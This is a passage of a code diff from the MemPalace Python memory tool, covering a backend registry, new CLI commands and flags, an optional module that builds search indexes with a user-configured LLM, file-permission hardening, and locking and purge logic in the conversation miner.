logger.exception("failed to load backend entry point %r", ep.name)
continue
if not isinstance(cls, type) or not issubclass(cls, BaseBackend):
logger.warning(
"entry point %r did not resolve to a BaseBackend subclass (got %r)",
ep.name,
cls,
)
continue
_registry.setdefault(ep.name, cls)
_discovered = True
def available_backends() -> list[str]:
"""Return sorted list of all registered backend names."""
_discover_entry_points()
return sorted(_registry.keys())
def get_backend_class(name: str) -> Type[BaseBackend]:
"""Return the registered backend class for ``name``."""
_discover_entry_points()
try:
return _registry[name]
except KeyError as e:
raise KeyError(f"unknown backend {name!r}; available: {available_backends()}") from e
def get_backend(name: str) -> BaseBackend:
"""Return a long-lived instance of the named backend.
Instances are cached per-name; repeated calls return the same object.
Call :func:`reset_backends` in tests that need isolation.
"""
_discover_entry_points()
with _lock:
inst = _instances.get(name)
if inst is not None:
return inst
cls = _registry.get(name)
if cls is None:
raise KeyError(f"unknown backend {name!r}; available: {sorted(_registry.keys())}")
inst = cls()
_instances[name] = inst
return inst
def reset_backends() -> None:
"""Close and drop all cached backend instances (primarily for tests)."""
with _lock:
for inst in _instances.values():
try:
inst.close()
except Exception:
logger.exception("error closing backend during reset")
_instances.clear()
def resolve_backend_for_palace(
*,
explicit: Optional[str] = None,
config_value: Optional[str] = None,
env_value: Optional[str] = None,
palace_path: Optional[str] = None,
default: str = "chroma",
) -> str:
"""Resolve the backend name for a palace per RFC 001 §3.3 priority order.
1. Explicit kwarg / CLI flag
2. Per-palace config value
3. ``MEMPALACE_BACKEND`` env var
4. Auto-detect from on-disk artifacts (migration/upgrade path only)
5. Default (``chroma``)
Auto-detection is strictly a migration aid: it fires only when a local path
is presented, no earlier rule has chosen a backend, AND the path already
contains backend-identifiable artifacts. For new palaces, (5) wins.
"""
for candidate in (explicit, config_value, env_value):
if candidate:
return candidate
_discover_entry_points()
if palace_path:
for name, cls in _registry.items():
try:
if cls.detect(palace_path):
return name
except Exception:
logger.exception("detect() raised on backend %r", name)
continue
return default
# ---------------------------------------------------------------------------
# Built-in registration
# ---------------------------------------------------------------------------
def _register_builtins() -> None:
"""Register chroma as the in-tree default."""
from .chroma import ChromaBackend
# Use setdefault semantics so a caller that pre-registered for tests wins.
if "chroma" not in _registry:
_registry["chroma"] = ChromaBackend
_register_builtins()
+147 -17
View File
@@ -4,7 +4,7 @@ MemPalace — Give your AI a memory. No API key required.
Two ways to ingest:
Projects: mempalace mine ~/projects/my_app (code, docs, notes)
Conversations: mempalace mine ~/chats/ --mode convos (Claude, ChatGPT, Slack)
Conversations: mempalace mine <convo-dir> --mode convos (Claude Code, Claude.ai, ChatGPT, Slack exports)
Same palace. Same search. Different ingest strategies.
@@ -22,7 +22,7 @@ Commands:
Examples:
mempalace init ~/projects/my_app
mempalace mine ~/projects/my_app
mempalace mine ~/chats/claude-sessions --mode convos
mempalace mine ~/.claude/projects/-Users-you-Projects-my_app --mode convos --wing my_app
mempalace search "why did we switch to GraphQL"
mempalace search "pricing discussion" --wing my_app --room costs
"""
@@ -34,6 +34,38 @@ import argparse
from pathlib import Path
from .config import MempalaceConfig
from .version import __version__
_MEMPALACE_PROJECT_FILES = ("mempalace.yaml", "entities.json")
def _ensure_mempalace_files_gitignored(project_dir) -> bool:
"""If project_dir is a git repo, ensure MemPalace's per-project files
are listed in .gitignore so they don't get committed by accident.
Returns True if .gitignore was updated, False otherwise. Issue #185:
`mempalace init` writes mempalace.yaml + entities.json into the
project root, where they previously had no protection against being
staged into git.
"""
from pathlib import Path
project_path = Path(project_dir).expanduser().resolve()
if not (project_path / ".git").exists():
return False
gitignore = project_path / ".gitignore"
existing = gitignore.read_text() if gitignore.exists() else ""
existing_lines = {line.strip() for line in existing.splitlines()}
missing = [p for p in _MEMPALACE_PROJECT_FILES if p not in existing_lines]
if not missing:
return False
prefix = "" if not existing or existing.endswith("\n") else "\n"
block = prefix + "\n# MemPalace per-project files (issue #185)\n" + "\n".join(missing) + "\n"
with open(gitignore, "a") as f:
f.write(block)
print(f" Added {', '.join(missing)} to {gitignore.name}")
return True
def cmd_init(args):
@@ -42,12 +74,25 @@ def cmd_init(args):
from .entity_detector import scan_for_detection, detect_entities, confirm_entities
from .room_detector_local import detect_rooms_local
cfg = MempalaceConfig()
# Resolve entity-detection languages: --lang overrides config.
lang_arg = getattr(args, "lang", None)
if lang_arg:
languages = [s.strip() for s in lang_arg.split(",") if s.strip()] or ["en"]
cfg.set_entity_languages(languages)
else:
languages = cfg.entity_languages
languages_tuple = tuple(languages)
# Pass 1: auto-detect people and projects from file content
print(f"\n Scanning for entities in: {args.dir}")
if languages_tuple != ("en",):
print(f" Languages: {', '.join(languages_tuple)}")
files = scan_for_detection(args.dir)
if files:
print(f" Reading {len(files)} files...")
detected = detect_entities(files)
detected = detect_entities(files, languages=languages_tuple)
total = len(detected["people"]) + len(detected["projects"]) + len(detected["uncertain"])
if total > 0:
confirmed = confirm_entities(detected, yes=getattr(args, "yes", False))
@@ -62,7 +107,10 @@ def cmd_init(args):
# Pass 2: detect rooms from folder structure
detect_rooms_local(project_dir=args.dir, yes=getattr(args, "yes", False))
MempalaceConfig().init()
cfg.init()
# Pass 3: protect git repos from accidentally committing per-project files
_ensure_mempalace_files_gitignored(args.dir)
def cmd_mine(args):
@@ -98,6 +146,48 @@ def cmd_mine(args):
)
def cmd_sweep(args):
"""Sweep a transcript file or directory.
The sweeper deduplicates against its own prior writes via
deterministic drawer IDs + a timestamp cursor. It does NOT currently
coordinate with the file-level miners (miner.py / convo_miner.py) —
those produce char-chunked drawers without compatible message
metadata, so running both miners may store overlapping content under
different IDs.
"""
from .sweeper import sweep, sweep_directory
palace_path = os.path.expanduser(args.palace) if args.palace else MempalaceConfig().palace_path
target = os.path.expanduser(args.target)
if os.path.isfile(target):
result = sweep(target, palace_path)
print(
f" Swept {target}: +{result['drawers_added']} new, "
f"{result['drawers_already_present']} already present, "
f"{result['drawers_skipped']} skipped (< cursor)."
)
elif os.path.isdir(target):
result = sweep_directory(target, palace_path)
print(
f" Swept {result['files_succeeded']}/{result['files_attempted']} "
f"files from {target}: +{result['drawers_added']} new, "
f"{result['drawers_already_present']} already present, "
f"{result['drawers_skipped']} skipped (< cursor)."
)
failures = result.get("failures") or []
if failures:
print(
f" WARNING: {len(failures)} file(s) failed to sweep - see stderr / logs for details.",
file=sys.stderr,
)
sys.exit(2)
else:
print(f" ERROR: Not a file or directory: {target}", file=sys.stderr)
sys.exit(1)
def cmd_search(args):
from .searcher import search, SearchError
@@ -156,7 +246,11 @@ def cmd_migrate(args):
from .migrate import migrate
palace_path = os.path.expanduser(args.palace) if args.palace else MempalaceConfig().palace_path
migrate(palace_path=palace_path, dry_run=args.dry_run, confirm=getattr(args, "yes", False))
migrate(
palace_path=palace_path,
dry_run=args.dry_run,
confirm=getattr(args, "yes", False),
)
def cmd_status(args):
@@ -168,8 +262,8 @@ def cmd_status(args):
def cmd_repair(args):
"""Rebuild palace vector index from SQLite metadata."""
import chromadb
import shutil
from .backends.chroma import ChromaBackend
from .migrate import confirm_destructive_action, contains_palace_database
palace_path = os.path.abspath(
@@ -189,10 +283,11 @@ def cmd_repair(args):
print(f"{'=' * 55}\n")
print(f" Palace: {palace_path}")
backend = ChromaBackend()
# Try to read existing drawers
try:
client = chromadb.PersistentClient(path=palace_path)
col = client.get_collection("mempalace_drawers")
col = backend.get_collection(palace_path, "mempalace_drawers")
total = col.count()
print(f" Drawers found: {total}")
except Exception as e:
@@ -239,8 +334,8 @@ def cmd_repair(args):
shutil.copytree(palace_path, backup_path)
print(" Rebuilding collection...")
client.delete_collection("mempalace_drawers")
new_col = client.create_collection("mempalace_drawers")
backend.delete_collection(palace_path, "mempalace_drawers")
new_col = backend.create_collection(palace_path, "mempalace_drawers")
filed = 0
for i in range(0, len(all_ids), batch_size):
@@ -293,7 +388,7 @@ def cmd_mcp(args):
def cmd_compress(args):
"""Compress drawers in a wing using AAAK Dialect."""
import chromadb
from .backends.chroma import ChromaBackend
from .dialect import Dialect
palace_path = os.path.expanduser(args.palace) if args.palace else MempalaceConfig().palace_path
@@ -313,9 +408,9 @@ def cmd_compress(args):
dialect = Dialect()
# Connect to palace
backend = ChromaBackend()
try:
client = chromadb.PersistentClient(path=palace_path)
col = client.get_collection("mempalace_drawers")
col = backend.get_collection(palace_path, "mempalace_drawers")
except Exception:
print(f"\n No palace found at {palace_path}")
print(" Run: mempalace init <dir> then mempalace mine <dir>")
@@ -328,7 +423,11 @@ def cmd_compress(args):
offset = 0
while True:
try:
kwargs = {"include": ["documents", "metadatas"], "limit": _BATCH, "offset": offset}
kwargs = {
"include": ["documents", "metadatas"],
"limit": _BATCH,
"offset": offset,
}
if where:
kwargs["where"] = where
batch = col.get(**kwargs)
@@ -386,7 +485,7 @@ def cmd_compress(args):
# Store compressed versions (unless dry-run)
if not args.dry_run:
try:
comp_col = client.get_or_create_collection("mempalace_compressed")
comp_col = backend.get_or_create_collection(palace_path, "mempalace_compressed")
for doc_id, compressed, meta, stats in compressed_entries:
comp_meta = dict(meta)
comp_meta["compression_ratio"] = round(stats["size_ratio"], 1)
@@ -414,10 +513,17 @@ def cmd_compress(args):
def main():
version_label = f"MemPalace {__version__}"
parser = argparse.ArgumentParser(
description="MemPalace — Give your AI a memory. No API key required.",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog=__doc__,
epilog=f"{version_label}\n\n{__doc__}",
)
parser.add_argument(
"--version",
action="version",
version=version_label,
help="Show version and exit",
)
parser.add_argument(
"--palace",
@@ -431,7 +537,19 @@ def main():
p_init = sub.add_parser("init", help="Detect rooms from your folder structure")
p_init.add_argument("dir", help="Project directory to set up")
p_init.add_argument(
"--yes", action="store_true", help="Auto-accept all detected entities (non-interactive)"
"--yes",
action="store_true",
help="Auto-accept all detected entities (non-interactive)",
)
p_init.add_argument(
"--lang",
default=None,
help=(
"Comma-separated language codes for entity detection "
"(e.g. 'en' or 'en,pt-br'). Defaults to value from config "
"(MEMPALACE_ENTITY_LANGUAGES env var or config.json), or 'en'. "
"When given, the value is also persisted to config.json."
),
)
# mine
@@ -471,6 +589,17 @@ def main():
help="Extraction strategy for convos mode: 'exchange' (default) or 'general' (5 memory types)",
)
# sweep
p_sweep = sub.add_parser(
"sweep",
help="Tandem miner: catch anything the primary miner missed "
"(message-level, timestamp-coordinated, idempotent)",
)
p_sweep.add_argument(
"target",
help="A .jsonl transcript file, or a directory to scan recursively",
)
# search
p_search = sub.add_parser("search", help="Find anything, exact words")
p_search.add_argument("query", help="What to search for")
@@ -603,6 +732,7 @@ def main():
"mine": cmd_mine,
"split": cmd_split,
"search": cmd_search,
"sweep": cmd_sweep,
"mcp": cmd_mcp,
"compress": cmd_compress,
"wake-up": cmd_wakeup,
+351
View File
@@ -0,0 +1,351 @@
"""
closet_llm.py — Generate closets via a user-configured LLM for richer indexing.
The regex-based closet extraction catches action verbs, headers, and proper
nouns — but misses implicit topics, foreign-language content, and contextual
references. An LLM reads everything and produces better closets.
This module is **OPTIONAL and opt-in**. Regex closets are always created by
the miner; this path regenerates them afterward using whatever LLM the user
chooses. Core memory operations remain API-free by design (see CLAUDE.md,
"Local-first, zero API").
## Bring-your-own-LLM configuration
The endpoint is any OpenAI-compatible Chat Completions URL:
LLM_ENDPOINT=http://localhost:11434/v1 # Ollama
LLM_ENDPOINT=http://localhost:8000/v1 # vLLM, llama.cpp
LLM_ENDPOINT=https://api.openai.com/v1
LLM_ENDPOINT=https://openrouter.ai/api/v1
LLM_ENDPOINT=https://api.anthropic.com/v1 # when proxied through a compat layer
Set:
LLM_ENDPOINT — base URL (required)
LLM_KEY — bearer token (optional; local inference usually doesn't need it)
LLM_MODEL — model name (required), e.g. "gpt-4o-mini", "llama3:8b", "qwen2.5:7b"
Or pass flags on the CLI (flags win over env):
python -m mempalace.closet_llm \\
--palace ~/.mempalace/palace \\
--endpoint http://localhost:11434/v1 \\
--model llama3:8b
No vendor lock-in. No hidden dependency on any specific provider. Zero deps
added to pyproject — uses stdlib urllib.
"""
import json
import os
import re
import time
import urllib.request
import urllib.error
from datetime import datetime
from typing import Optional
from .palace import (
NORMALIZE_VERSION,
get_closets_collection,
get_collection,
mine_lock,
purge_file_closets,
upsert_closet_lines,
)
MAX_CONTENT_CHARS = 30000
MAX_OUTPUT_TOKENS = 1500
HTTP_TIMEOUT_S = 60
PROMPT_TEMPLATE = """You are reading content filed in a memory palace. Generate a
topic-dense index that will be used to find this content later when someone searches.
Source: {source_file}
Wing: {wing} | Room: {room}
CONTENT:
{content}
---
Output a JSON object with EXACTLY these fields:
{{
"topics": ["distinctive_word_or_phrase_1", "topic_2", ...],
"quotes": ["[Speaker] verbatim quote", ...],
"summary": "2-3 sentences describing what this content is about."
}}
RULES:
- Topics: 8-15 entries. Include proper nouns (names, places, projects),
distinctive technical terms, and key concepts. NOT generic words like
"conversation" or "discussion".
- Quotes: 2-5 entries. EXACT verbatim from the content, not paraphrased.
Attribute with [Speaker] prefix if speaker is identifiable.
- Summary: mention WHO, WHAT, and WHY. No filler.
- Write in the same language as the content.
- Output valid JSON only. No code fences. No commentary.
"""
class LLMConfig:
"""Resolved LLM connection config. CLI flags > env vars."""
def __init__(
self,
endpoint: Optional[str] = None,
key: Optional[str] = None,
model: Optional[str] = None,
):
self.endpoint = (endpoint or os.environ.get("LLM_ENDPOINT", "")).rstrip("/")
self.key = key or os.environ.get("LLM_KEY", "")
self.model = model or os.environ.get("LLM_MODEL", "")
def missing(self) -> list:
missing = []
if not self.endpoint:
missing.append("LLM_ENDPOINT (or --endpoint)")
if not self.model:
missing.append("LLM_MODEL (or --model)")
# key is optional — local inference servers (Ollama, vLLM) often don't require one
return missing
def _call_llm(cfg: LLMConfig, source_file: str, wing: str, room: str, content: str):
"""Single LLM call via OpenAI-compatible /chat/completions.
Returns (parsed_json_dict_or_None, usage_dict_or_None).
"""
try:
from mempalace.i18n import t
lang_instruction = t("aaak.instruction")
except Exception:
lang_instruction = ""
prompt = PROMPT_TEMPLATE.format(
source_file=source_file[:100],
wing=wing,
room=room,
content=content[:MAX_CONTENT_CHARS],
)
if lang_instruction and "english" not in lang_instruction.lower():
prompt += f"\n\nLanguage instruction: {lang_instruction}"
body = json.dumps(
{
"model": cfg.model,
"max_tokens": MAX_OUTPUT_TOKENS,
"messages": [{"role": "user", "content": prompt}],
}
).encode("utf-8")
headers = {"Content-Type": "application/json"}
if cfg.key:
headers["Authorization"] = f"Bearer {cfg.key}"
url = f"{cfg.endpoint}/chat/completions"
for attempt in range(3):
try:
req = urllib.request.Request(url, data=body, headers=headers, method="POST")
with urllib.request.urlopen(req, timeout=HTTP_TIMEOUT_S) as resp:
raw = resp.read().decode("utf-8")
payload = json.loads(raw)
text = payload["choices"][0]["message"]["content"].strip()
text = re.sub(r"^```(?:json)?\s*", "", text)
text = re.sub(r"\s*```$", "", text)
parsed = json.loads(text)
return parsed, payload.get("usage")
except json.JSONDecodeError:
return None, None
except urllib.error.HTTPError as e:
# 429 / 503 = retry with backoff
if e.code in (429, 503) and attempt < 2:
time.sleep(2**attempt)
continue
return None, None
except Exception as e:
if "rate" in str(e).lower() and attempt < 2:
time.sleep(2**attempt)
continue
return None, None
return None, None
def _parsed_to_closet_lines(parsed, drawer_ids, entities_str):
"""Convert LLM's JSON output to closet pointer lines."""
lines = []
drawer_ref = ",".join(drawer_ids[:3])
for topic in parsed.get("topics", [])[:15]:
lines.append(f"{topic}|{entities_str}|→{drawer_ref}")
for quote in parsed.get("quotes", [])[:5]:
lines.append(f"{quote}|{entities_str}|→{drawer_ref}")
summary = parsed.get("summary", "")
if summary:
lines.append(f"{summary[:200]}|{entities_str}|→{drawer_ref}")
return lines
def regenerate_closets(
palace_path,
wing=None,
sample=0,
dry_run=False,
cfg: Optional[LLMConfig] = None,
):
"""Regenerate closets using a configured LLM for richer topic extraction.
Reads existing drawers, sends content to the configured endpoint,
replaces regex closets with LLM-generated ones. Regex closets remain
as the fallback whenever the call fails.
"""
if cfg is None:
cfg = LLMConfig()
missing = cfg.missing()
if missing:
print("Error: missing configuration: " + ", ".join(missing))
print("Set env vars LLM_ENDPOINT / LLM_MODEL (and optionally LLM_KEY),")
print("or pass --endpoint / --model / --key on the CLI.")
return {"error": "missing-config", "missing": missing}
drawers_col = get_collection(palace_path, create=False)
closets_col = get_closets_collection(palace_path)
total = drawers_col.count()
if total == 0:
print("No drawers in palace.")
return {"processed": 0}
all_data = drawers_col.get(limit=total, include=["documents", "metadatas"])
by_source = {}
for doc_id, doc, meta in zip(all_data["ids"], all_data["documents"], all_data["metadatas"]):
source = meta.get("source_file", "unknown")
w = meta.get("wing", "")
if wing and w != wing:
continue
if source not in by_source:
by_source[source] = {"drawer_ids": [], "content": [], "meta": meta}
by_source[source]["drawer_ids"].append(doc_id)
by_source[source]["content"].append(doc)
sources = list(by_source.keys())
if sample > 0:
sources = sources[:sample]
print(
f"Regenerating closets for {len(sources)} source files via {cfg.endpoint} ({cfg.model})..."
)
if dry_run:
print("DRY RUN — no changes will be written")
processed = 0
failed = 0
total_input = 0
total_output = 0
for i, source in enumerate(sources, 1):
data = by_source[source]
content = "\n\n".join(data["content"])
meta = data["meta"]
w = meta.get("wing", "")
r = meta.get("room", "")
entities = meta.get("entities", "")
if dry_run:
print(f" [{i}/{len(sources)}] {os.path.basename(source)} ({len(content)} chars)")
continue
parsed, usage = _call_llm(cfg, source, w, r, content)
if not parsed:
failed += 1
print(f" [{i}/{len(sources)}] ✗ {os.path.basename(source)} — LLM failed")
continue
if usage:
total_input += usage.get("prompt_tokens", 0)
total_output += usage.get("completion_tokens", 0)
lines = _parsed_to_closet_lines(parsed, data["drawer_ids"], entities)
# Use os.path.basename so Windows-style paths survive unchanged;
# the naive split('/') would leave a bare path component on Windows
# and collide across different files under different drives.
closet_id_base = f"closet_{w}_{r}_{os.path.basename(source)[:30]}"
# Serialize with concurrent mine operations on the same source —
# otherwise a regex closet rebuild mid-regenerate races with our
# purge+upsert cycle and leaves mixed regex/LLM lines.
with mine_lock(source):
purge_file_closets(closets_col, source)
upsert_closet_lines(
closets_col,
closet_id_base,
lines,
{
"wing": w,
"room": r,
"source_file": source,
"generated_by": f"llm:{cfg.model}",
"filed_at": datetime.now().isoformat(),
"entities": entities,
# Stamp so the miner's stale-drawer gate doesn't treat
# LLM closets as leftovers and rebuild over them next run.
"normalize_version": NORMALIZE_VERSION,
},
)
processed += 1
n_topics = len(parsed.get("topics", []))
print(f" [{i}/{len(sources)}] ✓ {os.path.basename(source)} — {n_topics} topics")
print(f"\nDone. {processed} regenerated, {failed} failed.")
if total_input or total_output:
print(f"Tokens: {total_input:,} in + {total_output:,} out (cost depends on provider)")
return {
"processed": processed,
"failed": failed,
"input_tokens": total_input,
"output_tokens": total_output,
}
if __name__ == "__main__":
import argparse
parser = argparse.ArgumentParser(
description="Regenerate closets via a user-configured LLM (OpenAI-compatible API)"
)
parser.add_argument(
"--palace",
default=os.path.expanduser("~/.mempalace/palace"),
help="Path to the palace",
)
parser.add_argument("--wing", default=None, help="Limit to one wing")
parser.add_argument("--sample", type=int, default=0, help="Only process first N source files")
parser.add_argument("--dry-run", action="store_true", help="List work without calling the LLM")
parser.add_argument(
"--endpoint",
default=None,
help="LLM base URL (overrides $LLM_ENDPOINT), e.g. http://localhost:11434/v1",
)
parser.add_argument(
"--key",
default=None,
help="LLM bearer token (overrides $LLM_KEY). Optional for local inference.",
)
parser.add_argument(
"--model",
default=None,
help='LLM model name (overrides $LLM_MODEL), e.g. "gpt-4o-mini" or "llama3:8b"',
)
args = parser.parse_args()
cfg = LLMConfig(endpoint=args.endpoint, key=args.key, model=args.model)
regenerate_closets(
args.palace, wing=args.wing, sample=args.sample, dry_run=args.dry_run, cfg=cfg
)
+64
View File
@@ -47,6 +47,30 @@ def sanitize_name(value: str, field_name: str = "name") -> str:
return value
def sanitize_kg_value(value: str, field_name: str = "value") -> str:
"""Validate a knowledge-graph entity name (subject or object).
More permissive than sanitize_name — allows punctuation like commas,
colons, and parentheses that are common in natural-language KG values.
Only blocks null bytes and over-length strings.
Not used for wing/room names (which have filesystem constraints) or
predicates (which should be simple relationship identifiers).
"""
if not isinstance(value, str) or not value.strip():
raise ValueError(f"{field_name} must be a non-empty string")
value = value.strip()
if len(value) > MAX_NAME_LENGTH:
raise ValueError(f"{field_name} exceeds maximum length of {MAX_NAME_LENGTH} characters")
if "\x00" in value:
raise ValueError(f"{field_name} contains null bytes")
return value
def sanitize_content(value: str, max_length: int = 100_000) -> str:
"""Validate drawer/diary content length."""
if not isinstance(value, str) or not value.strip():
@@ -173,6 +197,42 @@ class MempalaceConfig:
"""Mapping of hall names to keyword lists."""
return self._file_config.get("hall_keywords", DEFAULT_HALL_KEYWORDS)
@property
def entity_languages(self):
"""Languages whose entity-detection patterns should be applied.
Reads from env var ``MEMPALACE_ENTITY_LANGUAGES`` (comma-separated)
first, then the ``entity_languages`` field in ``config.json``,
defaulting to ``["en"]``.
"""
env_val = os.environ.get("MEMPALACE_ENTITY_LANGUAGES") or os.environ.get(
"MEMPAL_ENTITY_LANGUAGES"
)
if env_val:
return [s.strip() for s in env_val.split(",") if s.strip()] or ["en"]
cfg = self._file_config.get("entity_languages")
if isinstance(cfg, list) and cfg:
return [str(s) for s in cfg]
return ["en"]
def set_entity_languages(self, languages):
"""Persist the entity-detection language list to ``config.json``."""
normalized = [s.strip() for s in languages if s and s.strip()]
if not normalized:
normalized = ["en"]
self._file_config["entity_languages"] = normalized
self._config_dir.mkdir(parents=True, exist_ok=True)
try:
with open(self._config_file, "w", encoding="utf-8") as f:
json.dump(self._file_config, f, indent=2, ensure_ascii=False)
except OSError:
pass
try:
self._config_file.chmod(0o600)
except (OSError, NotImplementedError):
pass
return normalized
@property
def hook_silent_save(self):
"""Whether the stop hook saves directly (True) or blocks for MCP calls (False)."""
@@ -227,4 +287,8 @@ class MempalaceConfig:
self._config_dir.mkdir(parents=True, exist_ok=True)
with open(self._people_map_file, "w") as f:
json.dump(people_map, f, indent=2)
try:
self._people_map_file.chmod(0o600)
except (OSError, NotImplementedError):
pass
return self._people_map_file
+104 -31
View File
@@ -16,7 +16,33 @@ from datetime import datetime
from collections import defaultdict
from .normalize import normalize
from .palace import SKIP_DIRS, get_collection, file_already_mined
from .palace import (
NORMALIZE_VERSION,
SKIP_DIRS,
file_already_mined,
get_collection,
mine_lock,
)
# Cached hall keywords — avoids re-reading config per drawer
_HALL_KEYWORDS_CACHE = None
def _detect_hall_cached(content: str) -> str:
"""Route content to a hall using cached keywords. Same logic as miner.detect_hall."""
global _HALL_KEYWORDS_CACHE
if _HALL_KEYWORDS_CACHE is None:
from .config import MempalaceConfig
_HALL_KEYWORDS_CACHE = MempalaceConfig().hall_keywords
content_lower = content[:3000].lower()
scores = {}
for hall, keywords in _HALL_KEYWORDS_CACHE.items():
score = sum(1 for kw in keywords if kw in content_lower)
if score > 0:
scores[hall] = score
return max(scores, key=scores.get) if scores else "general"
# File types that might contain conversations
@@ -29,7 +55,14 @@ CONVO_EXTENSIONS = {
MIN_CHUNK_SIZE = 30
CHUNK_SIZE = 800 # chars per drawer — align with miner.py
MAX_FILE_SIZE = 10 * 1024 * 1024 # 10 MB — skip files larger than this
MAX_FILE_SIZE = 500 * 1024 * 1024 # 500 MB — skip files larger than this.
# Matches miner.py at 500 MB. Long Claude Code sessions, multi-year
# ChatGPT exports, and lifetime Slack dumps routinely exceed 10 MB; the
# cap at that level silently dropped them with `continue`. Per-drawer
# size is bounded by CHUNK_SIZE, but larger source files still produce
# more drawers and therefore more embedding/storage work — and content
# is normalized and loaded fully into memory before chunking, so memory
# use also scales with source size.
def _register_file(collection, source_file: str, wing: str, agent: str):
@@ -51,6 +84,7 @@ def _register_file(collection, source_file: str, wing: str, agent: str):
"added_by": agent,
"filed_at": datetime.now().isoformat(),
"ingest_mode": "registry",
"normalize_version": NORMALIZE_VERSION,
}
],
)
@@ -272,6 +306,63 @@ def scan_convos(convo_dir: str) -> list:
# =============================================================================
def _file_chunks_locked(collection, source_file, chunks, wing, room, agent, extract_mode):
"""Lock the source file, purge stale drawers, and upsert fresh chunks.
Combines the per-file serialization that prevents concurrent agents from
duplicating work (via mine_lock) with the normalize-version rebuild
contract (purge-before-insert so pre-v2 drawers don't survive).
Returns (drawers_added, room_counts_delta, skipped).
"""
room_counts_delta: dict = defaultdict(int)
drawers_added = 0
with mine_lock(source_file):
# Re-check after lock — another agent may have just finished this file
# at the current schema. A stale-version hit here returns False, so we
# still fall through to the purge+rebuild path below.
if file_already_mined(collection, source_file):
return 0, room_counts_delta, True
# Purge stale drawers first. When the normalize schema bumps,
# file_already_mined() returned False for pre-v2 drawers — clean
# them out so the source doesn't end up with mixed old/new drawers.
try:
collection.delete(where={"source_file": source_file})
except Exception:
pass
for chunk in chunks:
chunk_room = chunk.get("memory_type", room) if extract_mode == "general" else room
if extract_mode == "general":
room_counts_delta[chunk_room] += 1
drawer_id = f"drawer_{wing}_{chunk_room}_{hashlib.sha256((source_file + str(chunk['chunk_index'])).encode()).hexdigest()[:24]}"
try:
collection.upsert(
documents=[chunk["content"]],
ids=[drawer_id],
metadatas=[
{
"wing": wing,
"room": chunk_room,
"hall": _detect_hall_cached(chunk["content"]),
"source_file": source_file,
"chunk_index": chunk["chunk_index"],
"added_by": agent,
"filed_at": datetime.now().isoformat(),
"ingest_mode": "convos",
"extract_mode": extract_mode,
"normalize_version": NORMALIZE_VERSION,
}
],
)
drawers_added += 1
except Exception as e:
if "already exists" not in str(e).lower():
raise
return drawers_added, room_counts_delta, False
def mine_convos(
convo_dir: str,
palace_path: str,
@@ -375,37 +466,19 @@ def mine_convos(
if extract_mode != "general":
room_counts[room] += 1
# File each chunk
drawers_added = 0
for chunk in chunks:
chunk_room = chunk.get("memory_type", room) if extract_mode == "general" else room
if extract_mode == "general":
room_counts[chunk_room] += 1
drawer_id = f"drawer_{wing}_{chunk_room}_{hashlib.sha256((source_file + str(chunk['chunk_index'])).encode()).hexdigest()[:24]}"
try:
collection.upsert(
documents=[chunk["content"]],
ids=[drawer_id],
metadatas=[
{
"wing": wing,
"room": chunk_room,
"source_file": source_file,
"chunk_index": chunk["chunk_index"],
"added_by": agent,
"filed_at": datetime.now().isoformat(),
"ingest_mode": "convos",
"extract_mode": extract_mode,
}
],
)
drawers_added += 1
except Exception as e:
if "already exists" not in str(e).lower():
raise
# Lock + purge stale + file fresh chunks. Lock serializes concurrent
# agents; purge removes pre-v2 drawers so the schema bump applies.
drawers_added, room_delta, skipped = _file_chunks_locked(
collection, source_file, chunks, wing, room, agent, extract_mode
)
if skipped:
files_skipped += 1
continue
for r, n in room_delta.items():
room_counts[r] += n
total_drawers += drawers_added
print(f" ✓ [{i:4}/{len(files)}] {filepath.name[:50]:50} +{drawers_added}")
print(f" + [{i:4}/{len(files)}] {filepath.name[:50]:50} +{drawers_added}")
print(f"\n{'=' * 55}")
print(" Done.")
+3 -5
View File
@@ -27,7 +27,7 @@ import os
import time
from collections import defaultdict
import chromadb
from .backends.chroma import ChromaBackend
COLLECTION_NAME = "mempalace_drawers"
@@ -130,8 +130,7 @@ def dedup_source_group(col, drawer_ids, threshold=DEFAULT_THRESHOLD, dry_run=Tru
def show_stats(palace_path=None):
"""Show duplication statistics without making changes."""
palace_path = palace_path or _get_palace_path()
client = chromadb.PersistentClient(path=palace_path)
col = client.get_collection(COLLECTION_NAME)
col = ChromaBackend().get_collection(palace_path, COLLECTION_NAME)
groups = get_source_groups(col)
@@ -163,8 +162,7 @@ def dedup_palace(
print(" MemPalace Deduplicator")
print(f"{'=' * 55}")
client = chromadb.PersistentClient(path=palace_path)
col = client.get_collection(COLLECTION_NAME)
col = ChromaBackend().get_collection(palace_path, COLLECTION_NAME)
print(f" Palace: {palace_path}")
print(f" Drawers: {col.count():,}")
+4 -2
View File
@@ -158,6 +158,8 @@ _FLAG_SIGNALS = {
}
# Common filler/stop words to strip from topic extraction
_ALPHA_RE = re.compile(r"[^a-zA-Z]")
_STOP_WORDS = {
"the",
"a",
@@ -360,7 +362,7 @@ class Dialect:
return cls(
entities=config.get("entities", {}),
skip_names=config.get("skip_names", []),
lang=config.get("lang"),
lang=config.get("lang", "en"),
)
def save_config(self, config_path: str):
@@ -541,7 +543,7 @@ class Dialect:
# Fallback: find capitalized words that look like names (2+ chars, not sentence-start)
words = text.split()
for i, w in enumerate(words):
clean = re.sub(r"[^a-zA-Z]", "", w)
clean = _ALPHA_RE.sub("", w)
if (
len(clean) >= 2
and clean[0].isupper()
+209
View File
@@ -0,0 +1,209 @@
"""
diary_ingest.py — Ingest daily summary files into the palace.
Architecture:
- ONE drawer per (wing, day) — full verbatim content, upserted as the day grows.
- Closets pack topics up to CLOSET_CHAR_LIMIT, never split mid-topic.
- A re-ingest fully purges the prior day's closets before rebuilding so a
shorter day never leaves orphans behind.
- Only new entries are processed by default (tracks entry count in a state
file under ``~/.mempalace/state/`` — never inside the user's diary dir).
- Per-file ``mine_lock`` so concurrent ingest from two terminals can't race.
- Entities extracted and stamped on metadata for filterable search.
Usage:
python -m mempalace.diary_ingest --dir ~/daily_summaries --palace ~/.mempalace/palace
python -m mempalace.diary_ingest --dir ~/daily_summaries --palace ~/.mempalace/palace --force
"""
import hashlib
import json
import os
import re
from datetime import datetime, timezone
from pathlib import Path
from .miner import _extract_entities_for_metadata
from .palace import (
build_closet_lines,
get_closets_collection,
get_collection,
mine_lock,
purge_file_closets,
upsert_closet_lines,
)
DIARY_ENTRY_RE = re.compile(r"^## .+", re.MULTILINE)
def _state_file_for(palace_path: str, diary_dir: Path) -> Path:
"""Return the per-(palace, diary-dir) state-file path under ~/.mempalace/state.
Keyed by sha256 of (palace_path, diary_dir) so multiple diary folders
pointing at the same palace each get an independent state file. The
